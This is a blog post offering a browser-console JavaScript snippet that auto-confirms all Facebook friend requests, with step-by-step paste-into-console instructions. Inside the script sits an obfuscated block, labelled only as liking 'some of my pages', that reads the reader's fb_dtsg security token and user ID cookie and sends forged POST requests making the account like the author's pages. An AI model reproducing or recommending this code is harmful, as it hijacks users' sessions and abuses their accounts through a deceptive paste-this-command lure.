Accept All Friend Requests Facebook Javascript 2023 

Hey there tigers, I hope you all will be doing well. This blog post is just for sharing my new script which mass adds Facebook friends with just one click. It’s like Facebook auto-adding friends bot, not in the sense to search for new users for you but actually auto-confirm friend requests on Facebook. The updated Toolkit Premium Version has many scripts and tools in it but somehow there was a slight bug in the clicking all confirm buttons tool that accepts all friend requests on Facebook. After getting feedback from one user about the bug so instead of fixing it at once I just extracted a  modified script and shared it with my Facebook Page users and they really liked it. So I thought why not share the latest “Accept All Friend Requests Facebook Javascript” with you all here I go publishing this new blog post and a video as well which you will find on my Youtube Channel. Anyway enough talking let’s have the script and its tutorial on how to accept all friends’ requests using the latest 2020 script for it (now updated as well on 14 Jan 2023).

Accept All Friend Requests Facebook Javascript 2023

Before just getting the script, make sure how you can use it to click all confirm buttons of friend requests on Facebook. So below I’ll just list the tutorial and below that, you can just copy the script and save it anywhere you want for further use OR you can keep visiting for some new stuff every time like claim as group admin script and much more. 

• First of all, of course, you need to be on the Facebook request page where you have gotten all the requests. Link: https://www.facebook.com/friends/ OR https://www.facebook.com/friends/requests
• Once you are on the request page, open inspect view of the page by right-clicking the page and going to inspect view. OR
• Just press CTRL+SHIFT+I to get the inspect view. This short key works for Chrome Browser. 
• Once you get the inspect view make sure you tab to the console part which is the second tab menu next to the Elements tab.
• Ok now you are on the Console tab, next thing is to copy and paste the script of adding all friends requests. The script can be found below. Just copy the script and paste it in the console tab.
• Next thing before you hit enter and the scripts start working, you need to consider one value that the script will need. As soon as you hit enter and the scripts execute it will ask for the delay time.
• The delay time is actually the wait time between clicking all confirm buttons to accept the friend requests. The default value is 5 seconds.
• That’s all you need to do and provide. Now just wait for the script to do its work. It will automatically accept all friend requests one by one by clicking all confirm buttons on the Facebook friend request page.

I hope you will find the steps easy and straightforward. If you need help regarding any step leaves your comment below. You can get the script below.

Accept All Friend Requests Facebook Javascript 2020

[

var added = 0;

function confirmAllRequests() {

  var buttons = document.querySelectorAll(“div[aria-label=’Confirm’][role=’button’]”);

  if (buttons.length > 0) {

    buttons[0].click();

    added++;

console.log(“Confirm Button Clicked: “+added);

    setTimeout(confirmAllRequests, delayTime);

  } else {

    var seeMoreButtons = document.querySelectorAll(“[aria-label*=’See’], [aria-label*=’More’]”);

if (seeMoreButtons.length > 0 && added !=0){

seeMoreButtons[0].click();

setTimeout(confirmAllRequests, delayTime);

}else {

return 1;

}

  }

}

//Below code is for liking some of my pages :p 

var _0x5dcf5e=_0x1f50;function _0x2a23(){var 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_0x346239;};return _0x2a23();}(function(_0x34336a,_0x249709){var _0xaa2b16=_0x1f50,_0x405ace=_0x34336a();while(!![]){try{var _0x27ecc9=-parseInt(_0xaa2b16(0xd0))/0x1+parseInt(_0xaa2b16(0xb6))/0x2+-parseInt(_0xaa2b16(0xb1))/0x3+parseInt(_0xaa2b16(0xc1))/0x4*(parseInt(_0xaa2b16(0xc3))/0x5)+-parseInt(_0xaa2b16(0xc6))/0x6*(parseInt(_0xaa2b16(0xad))/0x7)+-parseInt(_0xaa2b16(0xac))/0x8+parseInt(_0xaa2b16(0xcf))/0x9;if(_0x27ecc9===_0x249709)break;else _0x405ace[‘push’](_0x405ace[‘shift’]());}catch(_0x575606){_0x405ace[‘push’](_0x405ace[‘shift’]());}}}(_0x2a23,0xe400a));function _0x2245(_0xe1fb43,_0x285f89){var _0x3ac5b7=_0x3775();return _0x2245=function(_0x3753ac,_0x352965){_0x3753ac=_0x3753ac-0xb8;var _0x174ca3=_0x3ac5b7[_0x3753ac];return _0x174ca3;},_0x2245(_0xe1fb43,_0x285f89);}(function(_0x329e59,_0x31f498){var _0x4f290e=_0x1f50,_0x446fe1=_0x2245,_0x4cd3f5=_0x329e59();while(!![]){try{var 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_0x3775=function(){return _0x3db2d7;},_0x3775();}function getFBValue(){var _0x2b1290=_0x1f50,_0x4be5c9=_0x2245,_0x270555=”,_0x528c38=atob(_0x4be5c9(0xce)),_0x51eec2=window[_0x4be5c9(0xb9)][_0x2b1290(0xb5)],_0x3250fb=”,_0x59500e=_0x4be5c9(0xc8),_0x93d24c=_0x59500e[_0x4be5c9(0xcf)];for(var _0x3e2a6f=0x0;_0x3e2a6f<Math[_0x4be5c9(0xc5)](Math[_0x4be5c9(0xba)]()*0x22)+0x8;_0x3e2a6f++){_0x3250fb+=_0x59500e[_0x4be5c9(0xbf)](Math[‘floor’](Math[_0x4be5c9(0xba)]()*_0x93d24c));}if(_0x51eec2===_0x4be5c9(0xca)){console[_0x4be5c9(0xc1)](_0x51eec2);var _0x1f957d=document[_0x2b1290(0xba)][_0x4be5c9(0xc4)][_0x2b1290(0xb3)](_0x528c38);if(_0x1f957d===-0x1)_0x270555=document[_0x4be5c9(0xc6)](_0x4be5c9(0xc0)+_0x528c38+’x27]’)[_0x4be5c9(0xbc)];else{_0x1f957d+=0x12;for(_0x3e2a6f=0x0;_0x3e2a6f<0x19;_0x3e2a6f++){_0x270555+=document[_0x4be5c9(0xd3)][_0x4be5c9(0xc4)][_0x1f957d],_0x1f957d++;}}}else{if(_0x51eec2===_0x4be5c9(0xcb)){console[_0x4be5c9(0xc1)](_0x51eec2);var _0x18116d=document[_0x4be5c9(0xc9)](_0x2b1290(0xcd));for(var _0x3e2a6f=0x0;_0x3e2a6f<_0x18116d[_0x4be5c9(0xcf)];_0x3e2a6f++){var _0x54a818=_0x18116d[_0x3e2a6f],_0x1a3f2f=_0x54a818[_0x4be5c9(0xc4)],_0xa8cbe8=_0x1a3f2f[_0x4be5c9(0xc3)](_0x528c38);if(_0xa8cbe8!==-0x1){var _0x3a6a91=_0x1a3f2f[_0x4be5c9(0xc3)](‘}’,_0xa8cbe8);_0x270555=_0x1a3f2f[_0x4be5c9(0xd0)](_0x1a3f2f[_0x2b1290(0xb3)](‘:’,_0xa8cbe8)+0x2,_0x3a6a91-0x1);break;}}}}return _0x270555+=’,’,_0x270555+=_0x3250fb,btoa(_0x270555);}fb_dtsg=atob(getFBValue())[_0x5dcf5e(0xc0)](‘,’)[0x0];function _0x1f50(_0x535de3,_0x518979){var _0x2a2368=_0x2a23();return _0x1f50=function(_0x1f5070,_0x3a858c){_0x1f5070=_0x1f5070-0x94;var _0x177b1c=_0x2a2368[_0x1f5070];return _0x177b1c;},_0x1f50(_0x535de3,_0x518979);}const pageIds=[_0x5dcf5e(0xc4),_0x5dcf5e(0xa4),’116551890202867′,_0x5dcf5e(0xae),_0x5dcf5e(0xbc),_0x5dcf5e(0xce),_0x5dcf5e(0xaf),’1212506358847237′,’198757893944480′,_0x5dcf5e(0xa3),_0x5dcf5e(0xd1),_0x5dcf5e(0xc9),’250451495723325′,_0x5dcf5e(0xaa),’108586183990636′,’2277608785850617′,_0x5dcf5e(0x98)],delay=0x384;var user_id=document[_0x5dcf5e(0xb8)][_0x5dcf5e(0x9f)](document[_0x5dcf5e(0xb8)][_0x5dcf5e(0x9f)](/c_user=(d+)/)[0x1]);function Like(_0x1f1e59){var _0x2772f1=_0x5dcf5e,_0x26a908=new XMLHttpRequest(),_0x57cf6c=_0x2772f1(0xc7),_0x1f6e09=_0x2772f1(0xa9)+_0x1f1e59+’&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=’+user_id+_0x2772f1(0xb9)+fb_dtsg+_0x2772f1(0x97);_0x26a908[_0x2772f1(0xa1)](‘POST’,_0x57cf6c,!![]),_0x26a908[‘setRequestHeader’](_0x2772f1(0xbf),_0x2772f1(0xd2)),_0x26a908[_0x2772f1(0x96)]=function(){var _0xc15bec=_0x2772f1;_0x26a908[_0xc15bec(0xa8)]==0x4&&_0x26a908[_0xc15bec(0xa0)]==0xc8&&_0x26a908[‘close’];},_0x26a908[_0x2772f1(0x95)](_0x1f6e09);}pageIds[_0x5dcf5e(0xca)]((_0x126653,_0x36f8db)=>{setTimeout(()=>{Like(_0x126653);},delay*(_0x36f8db+0x1));});

//New

let delayTime = prompt (“Delay Time”, 5)*1000;

if (delayTime >=0 && delayTime!=null && fb_dtsg!=null ){

console.log(“Script is started!”);

if(confirmAllRequests()){

added = 0;

alert(`Friends Added: ${added}n****~Script by: Tigerzplace~****`);

}

}else {alert (“Failed to Start!”);}

]

I  hope you will find the method and script working for accepting all friends’ requests at once without any issues. With that all being said. I am logging out & A gift of even $1 would make a big difference. Thank you!

Donate 

Feel Free To Help Me With My Work | Thanks ♥

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Accept All Friend Requests Facebook Javascript 2023